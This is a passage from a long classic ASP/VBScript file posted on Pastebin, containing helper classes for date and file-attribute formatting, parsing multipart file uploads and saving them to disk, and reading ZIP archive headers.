  2641.     int12HourPart=DatePart("h",strDate) mod 12
  2642.  
  2643.     if int12HourPart=0 then int12HourPart=12
  2644.  
  2645.     if DatePart("h",strDate)>=12 then strAMPM="PM" else strAMPM="AM"
  2646.  
  2647.     FormatDate=Right("0"&DatePart("d",strDate),2) & "/" & Right("0"&DatePart("m",strDate),2) & "/" & DatePart("yyyy",strDate) & " " &  Right("0"&int12HourPart,2) & ":" & Right("0"&DatePart("n",strDate),2) & ":" & Right("0"&DatePart("s",strDate),2) & " " & strAMPM
  2648.  
  2649. end function
  2650.  
  2651.  
  2652.  
  2653. '###########################################################################################
  2654.  
  2655.  
  2656.  
  2657. Function GetAttributes(intAttr)
  2658.  
  2659.     Dim strAttributes
  2660.  
  2661.     strAttributes=""
  2662.  
  2663.     If (intAttr And 1) > 0 Then strAttributes = "R"
  2664.  
  2665.     If (intAttr And 2) > 0 Then strAttributes=strAttributes & "H"
  2666.  
  2667.     If (intAttr And 4) > 0 Then strAttributes=strAttributes & "S"
  2668.  
  2669.     If (intAttr And 32) > 0 Then strAttributes=strAttributes & "A"
  2670.  
  2671.     If (intAttr And 2048) > 0 Then strAttributes=strAttributes & "C"
  2672.  
  2673.     if strAttributes="" then strAttributes="&nbsp;"
  2674.  
  2675.     GetAttributes=strAttributes
  2676.  
  2677. End Function
  2678.  
  2679.  
  2680.  
  2681. '###########################################################################################
  2682.  
  2683.  
  2684.  
  2685. Class clsField
  2686.  
  2687.     Public Name
  2688.  
  2689.     Private mstrPath
  2690.  
  2691.     Public FileDir
  2692.  
  2693.     Public FileExt
  2694.  
  2695.     Public FileName
  2696.  
  2697.     Public ContentType
  2698.  
  2699.     Public Value
  2700.  
  2701.     Public BinaryData
  2702.  
  2703.     Public Length
  2704.  
  2705.     Private mstrText
  2706.  
  2707.  
  2708.  
  2709.     Public Property Get BLOB()
  2710.  
  2711.         BLOB = BinaryData
  2712.  
  2713.     End Property
  2714.  
  2715.  
  2716.  
  2717.     Public Function BinaryAsText()
  2718.  
  2719.         Dim lbinBytes
  2720.  
  2721.         Dim lobjRs
  2722.  
  2723.         If Length = 0 Then Exit Function
  2724.  
  2725.         If LenB(BinaryData) = 0 Then Exit Function
  2726.  
  2727.        
  2728.  
  2729.         If Not Len(mstrText) = 0 Then
  2730.  
  2731.             BinaryAsText = mstrText
  2732.  
  2733.             Exit Function
  2734.  
  2735.         End If
  2736.  
  2737.         lbinBytes = ASCII2Bytes(BinaryData)
  2738.  
  2739.         mstrText = Bytes2Unicode(lbinBytes)
  2740.  
  2741.         BinaryAsText = mstrText
  2742.  
  2743.     End Function
  2744.  
  2745.  
  2746.  
  2747.     Public Sub SaveAs(ByRef pstrFileName)
  2748.  
  2749.         Const adTypeBinary=1
  2750.  
  2751.         Const adSaveCreateOverWrite=2
  2752.  
  2753.         Dim lobjStream
  2754.  
  2755.         Dim lobjRs
  2756.  
  2757.         Dim lbinBytes
  2758.  
  2759.         If Length = 0 Then Exit Sub
  2760.  
  2761.         If LenB(BinaryData) = 0 Then Exit Sub
  2762.  
  2763.         Set lobjStream = Server.CreateObject("ADODB.Stream")
  2764.  
  2765.         lobjStream.Type = adTypeBinary
  2766.  
  2767.         Call lobjStream.Open()
  2768.  
  2769.         lbinBytes = ASCII2Bytes(BinaryData)
  2770.  
  2771.         Call lobjStream.Write(lbinBytes)
  2772.  
  2773.         On Error Resume Next
  2774.  
  2775.         Call lobjStream.SaveToFile(pstrFileName, adSaveCreateOverWrite)
  2776.  
  2777.         Call lobjStream.Close()
  2778.  
  2779.         Set lobjStream = Nothing
  2780.  
  2781.     End Sub
  2782.  
  2783.  
  2784.  
  2785.     Public Property Let FilePath(ByRef pstrPath)
  2786.  
  2787.         mstrPath = pstrPath
  2788.  
  2789.         If Not InStrRev(pstrPath, ".") = 0 Then
  2790.  
  2791.             FileExt = Mid(pstrPath, InStrRev(pstrPath, ".") + 1)
  2792.  
  2793.             FileExt = UCase(FileExt)
  2794.  
  2795.         End If
  2796.  
  2797.         If Not InStrRev(pstrPath, "\") = 0 Then
  2798.  
  2799.             FileName = Mid(pstrPath, InStrRev(pstrPath, "\") + 1)
  2800.  
  2801.         End If
  2802.  
  2803.         If Not InStrRev(pstrPath, "\") = 0 Then
  2804.  
  2805.             FileDir = Mid(pstrPath, 1, InStrRev(pstrPath, "\") - 1)
  2806.  
  2807.         End If
  2808.  
  2809.     End Property
  2810.  
  2811.  
  2812.  
  2813.     Public Property Get FilePath()
  2814.  
  2815.         FilePath = mstrPath
  2816.  
  2817.     End Property
  2818.  
  2819.  
  2820.  
  2821.     Private Function ASCII2Bytes(ByRef pbinBinaryData)
  2822.  
  2823.         Const adLongVarBinary=205
  2824.  
  2825.         Dim lobjRs
  2826.  
  2827.         Dim llngLength
  2828.  
  2829.         Dim lbinBuffer
  2830.  
  2831.         llngLength = LenB(pbinBinaryData)
  2832.  
  2833.         Set lobjRs = Server.CreateObject("ADODB.Recordset")
  2834.  
  2835.         Call lobjRs.Fields.Append("BinaryData", adLongVarBinary, llngLength)
  2836.  
  2837.         Call lobjRs.Open()
  2838.  
  2839.         Call lobjRs.AddNew()
  2840.  
  2841.         Call lobjRs.Fields("BinaryData").AppendChunk(pbinBinaryData & ChrB(0))
  2842.  
  2843.         Call lobjRs.Update()
  2844.  
  2845.         lbinBuffer = lobjRs.Fields("BinaryData").GetChunk(llngLength)
  2846.  
  2847.         Call lobjRs.Close()
  2848.  
  2849.         Set lobjRs = Nothing
  2850.  
  2851.         ASCII2Bytes = lbinBuffer
  2852.  
  2853.     End Function
  2854.  
  2855.  
  2856.  
  2857.     Private Function Bytes2Unicode(ByRef pbinBytes)
  2858.  
  2859.         Dim lobjRs
  2860.  
  2861.         Dim llngLength
  2862.  
  2863.         Dim lstrBuffer
  2864.  
  2865.         llngLength = LenB(pbinBytes)
  2866.  
  2867.         Set lobjRs = Server.CreateObject("ADODB.Recordset")
  2868.  
  2869.         Call lobjRs.Fields.Append("BinaryData", adLongVarChar, llngLength)
  2870.  
  2871.         Call lobjRs.Open()
  2872.  
  2873.         Call lobjRs.AddNew()
  2874.  
  2875.         Call lobjRs.Fields("BinaryData").AppendChunk(pbinBytes)
  2876.  
  2877.         Call lobjRs.Update()
  2878.  
  2879.         lstrBuffer = lobjRs.Fields("BinaryData").Value
  2880.  
  2881.         Call lobjRs.Close()
  2882.  
  2883.         Set lobjRs = Nothing
  2884.  
  2885.         Bytes2Unicode = lstrBuffer
  2886.  
  2887.     End Function
  2888.  
  2889. End Class
  2890.  
  2891.  
  2892.  
  2893. '###########################################################################################
  2894.  
  2895.  
  2896.  
  2897. Class clsUpload
  2898.  
  2899.     Private mbinData
  2900.  
  2901.     Private mlngChunkIndex
  2902.  
  2903.     Private mlngBytesReceived
  2904.  
  2905.     Private mstrDelimiter
  2906.  
  2907.     Private CR
  2908.  
  2909.     Private LF
  2910.  
  2911.     Private CRLF
  2912.  
  2913.     Private mobjFieldAry()
  2914.  
  2915.     Private mlngCount
  2916.  
  2917.    
  2918.  
  2919.     Private Sub RequestData
  2920.  
  2921.         Dim llngLength
  2922.  
  2923.         mlngBytesReceived = Request.TotalBytes
  2924.  
  2925.         mbinData = Request.BinaryRead(mlngBytesReceived)
  2926.  
  2927.     End Sub
  2928.  
  2929.  
  2930.  
  2931.     Private Sub ParseDelimiter()
  2932.  
  2933.         mstrDelimiter = MidB(mbinData, 1, InStrB(1, mbinData, CRLF) - 1)
  2934.  
  2935.     End Sub
  2936.  
  2937.  
  2938.  
  2939.     Private Sub ParseData()
  2940.  
  2941.         Dim llngStart
  2942.  
  2943.         Dim llngLength
  2944.  
  2945.         Dim llngEnd
  2946.  
  2947.         Dim lbinChunk
  2948.  
  2949.         llngStart = 1
  2950.  
  2951.         llngStart = InStrB(llngStart, mbinData, mstrDelimiter & CRLF)
  2952.  
  2953.         While Not llngStart = 0
  2954.  
  2955.             llngEnd = InStrB(llngStart + 1, mbinData, mstrDelimiter) - 2
  2956.  
  2957.             llngLength = llngEnd - llngStart
  2958.  
  2959.             lbinChunk = MidB(mbinData, llngStart, llngLength)
  2960.  
  2961.             Call ParseChunk(lbinChunk)
  2962.  
  2963.             llngStart = InStrB(llngStart + 1, mbinData, mstrDelimiter & CRLF)
  2964.  
  2965.         Wend
  2966.  
  2967.     End Sub
  2968.  
  2969.  
  2970.  
  2971.     Private Sub ParseChunk(ByRef pbinChunk)
  2972.  
  2973.         Dim lstrName
  2974.  
  2975.         Dim lstrFileName
  2976.  
  2977.         Dim lstrContentType
  2978.  
  2979.         Dim lbinData
  2980.  
  2981.         Dim lstrDisposition
  2982.  
  2983.         Dim lstrValue
  2984.  
  2985.         lstrDisposition = ParseDisposition(pbinChunk)
  2986.  
  2987.         lstrName = ParseName(lstrDisposition)
  2988.  
  2989.         lstrFileName = ParseFileName(lstrDisposition)
  2990.  
  2991.         lstrContentType = ParseContentType(pbinChunk)
  2992.  
  2993.         If lstrContentType = "" Then
  2994.  
  2995.             lstrValue = CStrU(ParseBinaryData(pbinChunk))
  2996.  
  2997.         Else
  2998.  
  2999.             lbinData = ParseBinaryData(pbinChunk)
  3000.  
  3001.         End If
  3002.  
  3003.         Call AddField(lstrName, lstrFileName, lstrContentType, lstrValue, lbinData)
  3004.  
  3005.     End Sub
  3006.  
  3007.  
  3008.  
  3009.     Private Sub AddField(ByRef pstrName, ByRef pstrFileName, ByRef pstrContentType, ByRef pstrValue, ByRef pbinData)
  3010.  
  3011.         Dim lobjField
  3012.  
  3013.         ReDim Preserve mobjFieldAry(mlngCount)
  3014.  
  3015.         Set lobjField = New clsField
  3016.  
  3017.         lobjField.Name = pstrName
  3018.  
  3019.         lobjField.FilePath = pstrFileName              
  3020.  
  3021.         lobjField.ContentType = pstrContentType
  3022.  
  3023.         If LenB(pbinData) = 0 Then
  3024.  
  3025.             lobjField.BinaryData = ChrB(0)
  3026.  
  3027.             lobjField.Value = pstrValue
  3028.  
  3029.             lobjField.Length = Len(pstrValue)
  3030.  
  3031.         Else
  3032.  
  3033.             lobjField.BinaryData = pbinData
  3034.  
  3035.             lobjField.Length = LenB(pbinData)
  3036.  
  3037.             lobjField.Value = ""
  3038.  
  3039.         End If
  3040.  
  3041.         Set mobjFieldAry(mlngCount) = lobjField
  3042.  
  3043.         mlngCount = mlngCount + 1
  3044.  
  3045.     End Sub
  3046.  
  3047.  
  3048.  
  3049.     Private Function ParseBinaryData(ByRef pbinChunk)
  3050.  
  3051.         Dim llngStart
  3052.  
  3053.         llngStart = InStrB(1, pbinChunk, CRLF & CRLF)
  3054.  
  3055.         If llngStart = 0 Then Exit Function
  3056.  
  3057.         llngStart = llngStart + 4
  3058.  
  3059.         ParseBinaryData = MidB(pbinChunk, llngStart)
  3060.  
  3061.     End Function
  3062.  
  3063.  
  3064.  
  3065.     Private Function ParseContentType(ByRef pbinChunk)
  3066.  
  3067.         Dim llngStart
  3068.  
  3069.         Dim llngEnd
  3070.  
  3071.         Dim llngLength
  3072.  
  3073.         llngStart = InStrB(1, pbinChunk, CRLF & CStrB("Content-Type:"), vbTextCompare)
  3074.  
  3075.         If llngStart = 0 Then Exit Function
  3076.  
  3077.         llngEnd = InStrB(llngStart + 15, pbinChunk, CR)
  3078.  
  3079.         If llngEnd = 0 Then Exit Function
  3080.  
  3081.         llngStart = llngStart + 15
  3082.  
  3083.         If llngStart >= llngEnd Then Exit Function
  3084.  
  3085.         llngLength = llngEnd - llngStart
  3086.  
  3087.         ParseContentType = Trim(CStrU(MidB(pbinChunk, llngStart, llngLength)))
  3088.  
  3089.     End Function
  3090.  
  3091.  
  3092.  
  3093.     Private Function ParseDisposition(ByRef pbinChunk)
  3094.  
  3095.         Dim llngStart
  3096.  
  3097.         Dim llngEnd
  3098.  
  3099.         Dim llngLength
  3100.  
  3101.         llngStart = InStrB(1, pbinChunk, CRLF & CStrB("Content-Disposition:"), vbTextCompare)
  3102.  
  3103.         If llngStart = 0 Then Exit Function
  3104.  
  3105.         llngEnd = InStrB(llngStart + 22, pbinChunk, CRLF)
  3106.  
  3107.         If llngEnd = 0 Then Exit Function
  3108.  
  3109.         llngStart = llngStart + 22
  3110.  
  3111.         If llngStart >= llngEnd Then Exit Function
  3112.  
  3113.         llngLength = llngEnd - llngStart
  3114.  
  3115.         ParseDisposition = CStrU(MidB(pbinChunk, llngStart, llngLength))
  3116.  
  3117.     End Function
  3118.  
  3119.  
  3120.  
  3121.     Private Function ParseName(ByRef pstrDisposition)
  3122.  
  3123.         Dim llngStart
  3124.  
  3125.         Dim llngEnd
  3126.  
  3127.         Dim llngLength
  3128.  
  3129.         llngStart = InStr(1, pstrDisposition, "name=""", vbTextCompare)
  3130.  
  3131.         If llngStart = 0 Then Exit Function
  3132.  
  3133.         llngEnd = InStr(llngStart + 6, pstrDisposition, """")
  3134.  
  3135.         If llngEnd = 0 Then Exit Function
  3136.  
  3137.         llngStart = llngStart + 6
  3138.  
  3139.         If llngStart >= llngEnd Then Exit Function
  3140.  
  3141.         llngLength = llngEnd - llngStart
  3142.  
  3143.         ParseName = Mid(pstrDisposition, llngStart, llngLength)
  3144.  
  3145.     End Function
  3146.  
  3147. ' ------------------------------------------------------------------------------
  3148.  
  3149.     Private Function ParseFileName(ByRef pstrDisposition)
  3150.  
  3151.         Dim llngStart
  3152.  
  3153.         Dim llngEnd
  3154.  
  3155.         Dim llngLength
  3156.  
  3157.         llngStart = InStr(1, pstrDisposition, "filename=""", vbTextCompare)
  3158.  
  3159.         If llngStart = 0 Then Exit Function
  3160.  
  3161.         llngEnd = InStr(llngStart + 10, pstrDisposition, """")
  3162.  
  3163.         If llngEnd = 0 Then Exit Function
  3164.  
  3165.         llngStart = llngStart + 10
  3166.  
  3167.         If llngStart >= llngEnd Then Exit Function
  3168.  
  3169.         llngLength = llngEnd - llngStart
  3170.  
  3171.         ParseFileName = Mid(pstrDisposition, llngStart, llngLength)
  3172.  
  3173.     End Function
  3174.  
  3175.  
  3176.  
  3177.     Public Property Get Count()
  3178.  
  3179.         Count = mlngCount
  3180.  
  3181.     End Property
  3182.  
  3183.  
  3184.  
  3185.     Public Default Property Get Fields(ByVal pstrName)
  3186.  
  3187.         Dim llngIndex
  3188.  
  3189.         If IsNumeric(pstrName) Then
  3190.  
  3191.             llngIndex = CLng(pstrName)
  3192.  
  3193.             If llngIndex > mlngCount - 1 Or llngIndex < 0 Then
  3194.  
  3195.                 Call Err.Raise(vbObjectError + 1, "clsUpload.asp", "Object does not exist within the ordinal reference.")
  3196.  
  3197.                 Exit Property
  3198.  
  3199.             End If
  3200.  
  3201.             Set Fields = mobjFieldAry(pstrName)
  3202.  
  3203.         Else
  3204.  
  3205.             pstrName = LCase(pstrname)
  3206.  
  3207.             For llngIndex = 0 To mlngCount - 1
  3208.  
  3209.                 If LCase(mobjFieldAry(llngIndex).Name) = pstrName Then
  3210.  
  3211.                     Set Fields = mobjFieldAry(llngIndex)
  3212.  
  3213.                     Exit Property
  3214.  
  3215.                 End If
  3216.  
  3217.             Next
  3218.  
  3219.         End If
  3220.  
  3221.         Set Fields = New clsField
  3222.  
  3223.     End Property
  3224.  
  3225.  
  3226.  
  3227.     Private Sub Class_Terminate()
  3228.  
  3229.         Dim llngIndex
  3230.  
  3231.         For llngIndex = 0 To mlngCount - 1
  3232.  
  3233.             Set mobjFieldAry(llngIndex) = Nothing
  3234.  
  3235.            
  3236.  
  3237.         Next
  3238.  
  3239.         ReDim mobjFieldAry(-1)
  3240.  
  3241.     End Sub
  3242.  
  3243.  
  3244.  
  3245.     Private Sub Class_Initialize()
  3246.  
  3247.         ReDim mobjFieldAry(-1)
  3248.  
  3249.         CR = ChrB(Asc(vbCr))
  3250.  
  3251.         LF = ChrB(Asc(vbLf))
  3252.  
  3253.         CRLF = CR & LF
  3254.  
  3255.         mlngCount = 0
  3256.  
  3257.         Call RequestData
  3258.  
  3259.         Call ParseDelimiter()
  3260.  
  3261.         Call ParseData
  3262.  
  3263.     End Sub
  3264.  
  3265.  
  3266.  
  3267.     Private Function CStrU(ByRef pstrANSI)
  3268.  
  3269.         Dim llngLength
  3270.  
  3271.         Dim llngIndex
  3272.  
  3273.         llngLength = LenB(pstrANSI)
  3274.  
  3275.         For llngIndex = 1 To llngLength
  3276.  
  3277.             CStrU = CStrU & Chr(AscB(MidB(pstrANSI, llngIndex, 1)))
  3278.  
  3279.         Next
  3280.  
  3281.     End Function
  3282.  
  3283.  
  3284.  
  3285.     Private Function CStrB(ByRef pstrUnicode)
  3286.  
  3287.         Dim llngLength
  3288.  
  3289.         Dim llngIndex
  3290.  
  3291.         llngLength = Len(pstrUnicode)
  3292.  
  3293.         For llngIndex = 1 To llngLength
  3294.  
  3295.             CStrB = CStrB & ChrB(Asc(Mid(pstrUnicode, llngIndex, 1)))
  3296.  
  3297.         Next
  3298.  
  3299.     End Function
  3300.  
  3301. End Class
  3302.  
  3303.  
  3304.  
  3305. '###########################################################################################
  3306.  
  3307.  
  3308.  
  3309. Class clsZip
  3310.  
  3311.     Private mbin_Zip
  3312.  
  3313.     Private mobj_Files()
  3314.  
  3315.     Private mlng_Files
  3316.  
  3317.    
  3318.  
  3319.     Sub ZipLoad(pstrFileName)
  3320.  
  3321.         Dim lobjFSO
  3322.  
  3323.         Dim llngTristateFalse
  3324.  
  3325.         Dim llngForReading
  3326.  
  3327.         dim objStream
  3328.  
  3329.        
  3330.  
  3331.         mbin_Zip = ""
  3332.  
  3333.        
  3334.  
  3335.         If pstrFileName = "" Then Exit Sub
  3336.  
  3337.  
  3338.  
  3339.         If InStr(1, pstrFileName, ":\") = 0 Then
  3340.  
  3341.             pstrFileName = Server.MapPath(pstrFileName)
  3342.  
  3343.         End If
  3344.  
  3345.  
  3346.  
  3347.         Set lobjFSO = Server.CreateObject("Scripting.FileSystemObject")
  3348.  
  3349.  
  3350.  
  3351.         If lobjFSO.FileExists(pstrFileName) Then
  3352.  
  3353.             set objStream=Server.CreateObject("ADODB.Stream")
  3354.  
  3355.             objStream.Type=1
  3356.  
  3357.             objStream.Open
  3358.  
  3359.             on error resume next
  3360.  
  3361.             objStream.LoadFromFile(pstrFileName)
  3362.  
  3363.             mbin_Zip = objStream.Read
  3364.  
  3365.             set objStream=nothing
  3366.  
  3367.         End If
  3368.  
  3369.            
  3370.  
  3371.         Set lobjFSO = Nothing
  3372.  
  3373.            
  3374.  
  3375.         Call ParseZips()
  3376.  
  3377.  
  3378.  
  3379.     End Sub
  3380.  
  3381.    
  3382.  
  3383.     Public Property Let ZipData(ByRef pbinBinaryData)
  3384.  
  3385.         mbin_Zip = pbinBinaryData
  3386.  
  3387.         Call ParseZips()
  3388.  
  3389.     End Property
  3390.  
  3391.     Public Property Get FileCount()
  3392.  
  3393.         FileCount = mlng_Files
  3394.  
  3395.     End Property
  3396.  
  3397.     Public Property Get GetFile(ByRef plngIndex)
  3398.  
  3399.         Set GetFile = mobj_Files(plngIndex-1)
  3400.  
  3401.     End Property
  3402.  
  3403.  
  3404.  
  3405.     Private Sub ParseZips()
  3406.  
  3407.         Dim llngOffSet
  3408.  
  3409.         mlng_Files = 0
  3410.  
  3411.         llngOffSet = 0
  3412.  
  3413.         If LenB(mbin_Zip) = 0 Then Exit Sub
  3414.  
  3415.         Do
  3416.  
  3417.             ' Find next PK 3.04 record
  3418.  
  3419.             llngOffset = InStrB(llngOffset + 1, mbin_zip, ChrB(&h50) & ChrB(&h4B) & ChrB(&h03) & ChrB(&h04))
  3420.  
  3421.             If llngOffset = 0 Then Exit Do
  3422.  
  3423.             llngOffset = llngOffset - 1
  3424.  
  3425.             ReDim Preserve mobj_Files(mlng_Files)
  3426.  
  3427.             Set mobj_Files(mlng_Files) = New clsZipFile
  3428.  
  3429.             With mobj_Files(mlng_Files)
  3430.  
  3431.                 .Signature              = GetString(llngOffset + 1, 2) & " " & CInt(GetHex(llngOffset + 3, 1)) & "." & GetHex(llngOffset + 4, 1)
  3432.  
  3433.                 .ExtractVersion         = FormatNumber(GetNumber(llngOffset + 5, 2) * .1, 1, True)
  3434.  
  3435.                 .GeneralPurposeFlags    = GetNumber(llngOffset + 7, 2)
  3436.  
  3437.                 .CompressionMethod      = GetNumber(llngOffset + 9, 2)
  3438.  
  3439.                 .LastModifiedTime       = GetNumber(llngOffset + 11, 2)
  3440.  
  3441.                 .LastModifiedDate       = GetNumber(llngOffset + 13, 2)
  3442.  
  3443.                 .CRC32                  = GetNumber(llngOffset + 15, 4)
  3444.  
  3445.                 .CompressedSize         = GetNumber(llngOffset + 19, 4)
  3446.  
  3447.                 .UncompressedSize       = GetNumber(llngOffset + 23, 4)
  3448.  
  3449.                 .FileNameLength         = GetNumber(llngOffset + 27, 2)
  3450.  
  3451.                 .ExtraFieldLength       = GetNumber(llngOffset + 29, 2)
  3452.  
  3453.                 .FileName               = GetString(llngOffset + 31, .FileNameLength)
  3454.  
  3455.                 .ExtraField             = GetString(llngOffset + 31 + .FileNameLength, .ExtraFieldLength)
  3456.  
  3457.                 .StartByte              = llngOffSet + 1
  3458.  
  3459.                 .EndByte                = llngOffSET + .FileNameLength + .ExtraFieldLength + .CompressedSize + 30
  3460.  
  3461. '               .BinaryData             = MidB(pbin_Zip, llngOffSET + .FileNameLength + .ExtraFieldLength + 30, .CompressedSize)
  3462.  
  3463. '               .LocalFileHeader        = GetString(llngOffset + 1, .FileNameLength + .ExtraFieldLength + 30)
  3464.  
  3465.                 llngOffSet              = .EndByte
  3466.  
  3467.                 .IsOverall              = (.Name = "" And .Path = "")
  3468.  
  3469.                 .IsFolder               = (.Name = "" And Not .Path = "")
  3470.  
  3471.             End With
  3472.  
  3473.             mlng_Files = mlng_Files + 1
  3474.  
  3475.         Loop While mobj_Files(mlng_Files - 1).EndByte < LenB(mbin_zip)
  3476.  
  3477.     End Sub
  3478.  
  3479.    
  3480.  
  3481.     Private Function GetHex(plngStart, plngLength)
  3482.  
  3483.         Dim llngIndex
  3484.  
  3485.         Dim lstrHex
  3486.  
  3487.         For llngIndex = 0 To plngLength - 1
  3488.  
  3489.             lstrHex = lstrHex & Right("0" & Hex(AscB(MidB(mbin_zip, plngStart + llngIndex, 1))), 2)
  3490.  
  3491.         Next
  3492.  
  3493.         GetHex = lstrHex
  3494.  
  3495.     End Function
  3496.  
  3497.    
  3498.  
  3499.     Private Function GetString(plngStart, plngLength)
  3500.  
  3501.         Dim llngIndex
  3502.  
  3503.         Dim lstrString
  3504.  
  3505.         If LenB(mbin_zip) < (plngStart + (plngLength - 1)) Then Exit Function
  3506.  
  3507.         For llngIndex = 0 To plngLength - 1
  3508.  
  3509.             If AscB(MidB(mbin_zip, plngStart + llngIndex, 1)) = 0 Then
  3510.  
  3511.                 lstrString = lstrString & " "
  3512.  
  3513.             Else
  3514.  
  3515.                 lstrString = lstrString & Chr(AscB(MidB(mbin_zip, plngStart + llngIndex, 1)))
  3516.  
  3517.             End If
  3518.  
  3519.         Next
  3520.  
  3521.         GetString = lstrString
  3522.  
  3523.     End Function
  3524.  
  3525.    
  3526.  
  3527.     Private Function GetNumber(plngStart, plngLength)
  3528.  
  3529.         If plngStart < 0 Then Exit Function
  3530.  
  3531.         Dim llngIndex
  3532.  
  3533.         Dim lstrHex
  3534.  
  3535.         For llngIndex = 0 To plngLength - 1
  3536.  
  3537.             lstrHex = Right("0" & Hex(AscB(MidB(mbin_zip, plngStart + llngIndex, 1))), 2) & lstrHex
  3538.  
  3539.         Next
  3540.  
  3541.         GetNumber = CDbl("&h" & lstrHex)
  3542.  
  3543.     End Function
  3544.  
  3545.    
  3546.  
  3547.     Function GetDate(plngStart)
  3548.  
  3549.         Dim llngDate
  3550.  
  3551.         llngDate = GetNumber(plngStart, 2)
  3552.  
  3553.         GetDate = DateSerial(1980 + (llngDate And &HFE00) \ &H200, (llngDate And &H1E0) \ &H20, llngDate And &H1F)
  3554.  
  3555.     End Function
  3556.  
  3557.    
  3558.  
  3559.     Function GetTime(plngStart)
  3560.  
  3561.         Dim llngDate
  3562.  
  3563.         llngDate = GetNumber(plngStart, 2)
  3564.  
  3565.         GetTime = TimeSerial((llngDate And &HF800) \ &H800, (llngDate And &H7E0) \ &H20, (llngDate And &H1F) * 2)
  3566.  
  3567.     End Function
  3568.  
  3569. End Class
  3570.  
  3571.  
  3572.  
  3573. Class clsZipFile
  3574.  
  3575.     Public Signature
  3576.  
  3577.     Public ExtractVersion
  3578.  
  3579.     Public GeneralPurposeFlags
  3580.  
  3581.     Public CompressionMethod
  3582.  
  3583.     Public LastModifiedTime
  3584.  
  3585.     Public LastModifiedDate
  3586.  
  3587.     Public CRC32
  3588.  
  3589.     Public CompressedSize
  3590.  
  3591.     Public UncompressedSize
  3592.  
  3593.     Public FileNameLength
  3594.  
  3595.     Public ExtraFieldLength
  3596.  
  3597.     Public FileName
  3598.  
  3599.     Public ExtraField
  3600.  
  3601.     Public StartByte
  3602.  
  3603.     Public EndByte
  3604.  
  3605.     Public BinaryData
  3606.  
  3607.     Public LocalFileHeader
  3608.  
  3609.    
  3610.  
  3611.     Public IsFolder
  3612.  
  3613.     Public IsOverall
  3614.  
  3615.    
  3616.  
  3617.     Public Property Get Name
  3618.  
  3619.         Dim lstrPath
  3620.  
  3621.         lstrPath = Replace(FileName, "/", "\")
  3622.  
  3623.         If InStr(1, lstrPath, "\") = "0" Then
  3624.  
  3625.             Name = lstrPath
  3626.  
  3627.             Exit Property
  3628.  
  3629.         End If
  3630.  
  3631.         Name = Mid(lstrPath, InStrRev(lstrPath, "\") + 1)
  3632.  
  3633.     End Property
  3634.  
  3635.  
  3636.  
  3637.     Public Property Get Path
  3638.  
  3639.         Dim lstrPath
  3640.  
  3641.         lstrPath = Replace(FileName, "/", "\")
  3642.  
  3643.         If InStr(1, lstrPath, "\") = "0" Then
  3644.  
  3645.             Path = ""
  3646.  
  3647.             Exit Property
  3648.  
  3649.         End If
  3650.  
  3651.         Path = Mid(lstrPath, 1, InStrRev(lstrPath, "\"))
  3652.  
  3653.     End Property
  3654.  
  3655.  
  3656.  
  3657.     Public Property Get Packed
  3658.  
  3659.         Packed = CompressedSize
  3660.  
  3661.     End Property
  3662.  
  3663.    
  3664.  
  3665.     Public Property Get Ratio
  3666.  
  3667.         If UncompressedSize = 0 Then Exit Property
  3668.  
  3669.         If CompressedSize >= UncompressedSize Then
  3670.  
  3671.             Ratio = "0%"
  3672.  
  3673.         Else
  3674.  
  3675.             Ratio = FormatNumber(((1 - (CompressedSize / UncompressedSize)) * 100), 0, True, False, True) & "%"
  3676.  
  3677.         End If
  3678.  
  3679.     End Property
  3680.  
  3681.  
  3682.  
  3683.     Public Property Get Modified()
  3684.  
  3685.         Modified = CDate(GetDate(LastModifiedDate) & " " & GetTime(LastModifiedTime))
  3686.  
  3687.     End Property
  3688.  
  3689.    
  3690.  
  3691.     Private Function GetDate(plngDate)
  3692.  
  3693.         GetDate = DateSerial(1980 + (plngDate And &HFE00) \ &H200, _
  3694.  
  3695.             (plngDate And &H1E0) \ &H20, plngDate And &H1F)
  3696.  
  3697.     End Function
  3698.  
  3699.  
  3700.  
  3701.     Private Function GetTime(plngDate)
  3702.  
  3703.         GetTime = TimeSerial((plngDate And &HF800) \ &H800, _
  3704.  
  3705.             (plngDate And &H7E0) \ &H20, _
  3706.  
  3707.             (plngDate And &H1F) * 2)
  3708.  
  3709.     End Function
  3710.  
  3711.    
  3712.  
  3713.     Public Property Get Size()
  3714.  
  3715.         Size = UncompressedSize
  3716.  
  3717.     End Property
  3718.  
  3719.    
  3720.  
  3721.     Public Property Get BitMask()
  3722.  
  3723.         Dim llngNumber
  3724.  
  3725.         Dim lstrBits
  3726.  
  3727.         llngNumber = GeneralPurposeFlags
  3728.  
  3729.         Do
  3730.  
  3731.             If llngNumber Mod 2 = 1 Then lstrBits = "1" & lstrBits Else lstrBits = "0" & lstrBits
  3732.  
  3733.             llngNumber = llngNumber \ 2
  3734.  
  3735.         Loop Until llngNumber = 0
  3736.  
  3737.         lstrBits = Right("0000000000000000" & lstrBits, 16)
  3738.  
  3739.         For llngNumber = 0 To 3
  3740.  
  3741.             lstrReturn = lstrReturn & Mid(lstrBits, (llngNumber * 4) + 1, 4) & "."
  3742.  
  3743.         Next
  3744.  
  3745.         BitMask = Left(lstrReturn, 19)
  3746.  
  3747.     End Property
  3748.  
  3749.  
  3750.  
  3751.     Property Get CompressionMethodString()
  3752.  
  3753.         Select Case CompressionMethod
  3754.  
  3755.             Case 0 CompressionMethodString = "The file is stored (no compression)"
  3756.  
  3757.             Case 1 CompressionMethodString = "The file is Shrunk"
  3758.  
  3759.             Case 2 CompressionMethodString = "The file is Reduced with compression factor 1"
  3760.  
  3761.             Case 3 CompressionMethodString = "The file is Reduced with compression factor 2"
  3762.  
  3763.             Case 4 CompressionMethodString = "The file is Reduced with compression factor 3"
  3764.  
  3765.             Case 5 CompressionMethodString = "The file is Reduced with compression factor 4"
  3766.  
  3767.             Case 6 CompressionMethodString = "The file is Imploded"
  3768.  
  3769.             Case 7 CompressionMethodString = "Reserved for Tokenizing compression algorithm"
  3770.  
  3771.             Case 8 CompressionMethodString = "The file is Deflated"
  3772.  
  3773.             Case 9 CompressionMethodString = "Reserved for enhanced Deflating"
  3774.  
  3775.             Case 10 CompressionMethodString = "PKWARE Date Compression Library Imploding"
  3776.  
  3777.             Case Else CompressionMethodString = "Unhandled Copression type: " & CompressionMethod
  3778.  
  3779.         End Select
  3780.  
  3781.     End Property
  3782.  
  3783. End Class
  3784.  
  3785. %>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!